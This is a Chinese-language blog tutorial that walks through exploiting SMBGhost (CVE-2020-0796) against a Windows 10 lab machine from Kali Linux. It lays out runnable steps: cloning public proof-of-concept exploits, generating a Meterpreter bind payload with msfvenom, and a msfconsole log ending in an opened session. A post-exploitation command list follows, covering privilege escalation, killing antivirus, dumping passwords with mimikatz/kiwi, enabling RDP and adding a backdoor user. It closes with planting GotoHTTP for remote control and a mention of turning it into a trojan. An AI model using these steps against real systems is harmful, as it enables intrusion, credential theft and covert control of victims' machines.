永恒之黑漏洞利用 (Windows10)
一、环境介绍
1. 攻击端
# Linux Kali 系统
# IP: 192.168.233.135
2. 被攻击端
# Windows10 系统
# IP: 192.168.233.141
# 简介
永恒之黑(CVE-2020-0796)
永恒之黑的对象为采用Windows 10 1903之后的所有终端节点,如Windows家用版、专业版、企业版、教育版,Windows 10 1903 (19H1)、Windows 10 1909、 Windows Server 19H1均为潜在攻击目标,Windows 7不受影响。
原理为由于SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。
二、渗透过程
2.1 漏洞扫描
首先下载 CVE-2020-0796扫描检测工具,对网段进行批量扫描。
(下载链接:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip)
2.2 蓝屏POC
# 国外源
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
# 国内源
git clone https://gitee.com/keepb1ue/CVE-2020-0796-PoC.git
python3 setup.py install
python3 CVE-2020-0796.py 192.168.233.141
2.2 使用msf生成payload (载荷)
msfvenom -p windows/x64/meterpreter/bind_tcp lport=9999 -f py -o test.py
修改生成的内容 (修改前)
buf 替换为 USER_PAYLOAD (修改后)
# 编辑文件
vim test.py
# 将buf 替换 USER_PAYLOAD g 代表全部替换
%s/buf/USER_PAYLOAD/g
2.3 远程利用复现
# 下载远程利用的poc
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
# 将 SMBGhost_RCE_PoC 目录下的 exploit.py 文件中 USER_PAYLOAD 内容替换为 test.py
2.4 启动msfconsole
# 设置参数
msf6 > use exploit/multi/handler # 使用攻击模块
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp # 设置载荷
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set lport 9999 # 设置本地端口
lport => 9999
msf6 exploit(multi/handler) > set rhost 192.168.233.141 # 被攻击IP (Windows10)
rhost => 192.168.233.141
msf6 exploit(multi/handler) > exploit # 执行攻击
[*] Started bind TCP handler against 192.168.233.141:9999
[*] Sending stage (200774 bytes) to 192.168.233.141
[*] Meterpreter session 1 opened (192.168.233.135:34529 -> 192.168.233.141:9999) at 2024-03-06 21:59:47 -0500
meterpreter >
三、后渗透
# 命令大全 更多详细命令 https://blog.csdn.net/qq_19623861/article/details/116768379
getsystem # 提升权限
sysinfo # 显示系统信息
screenshot # 截屏
getuid # 当前用户的名字
run post/windows/gather/checkvm # 查看目标主机是否在虚拟机中
run post/windows/manage/enable_rdp # 开启远程桌面
run post/windows/gather/forensics/enum_drives # 检查磁盘情况
run post/windows/gather/enum_services # 列出当前所有服务
run post/windows/gather/enum_applications # 列出应用,并且想将详细信息写在下面那个路径之下,可以cat一下查看
run post/windows/gather/dumplinks # 列出最近的操作
run post/windows/gather/enum_patches # 列出所有补丁
run scraper # 执行一个脚本,自动收集所有信息,并存储/root/.msf4/logs/scripts/scraper/下,具体命名为靶机ip+当前日期
run killav # 关掉杀毒软件
run post/windows/manage/killava # 关掉杀毒软件
load kiwi # (使用kiwi模块需要system权限)
creds_all # 直接获取密码,前提需要先执行load kiwi
kiwi_cmd # 使用mimikatz的全部功能
shell # 进入cmd 可以使用cmd命令 创建用户
# cmd 命令
net user hack(用户名) 123456(密码) /add # 创建用户
3.1 gotohttp Web远程连接
https://gotohttp.com/
3.2 上传Gotohttp.exe
3.3 启动Gotohttp.exe
3.4 截屏代码
# 1. 通过截屏获取连接控制码
3.5 远程控制成功
修改Gotohttp类型的控制软件源码,变为木马(暂不提供教程)
原创文章,作者:智企网络工作室,如若转载,请注明出处:https://www.harcker01.cn/index.php/archives/6/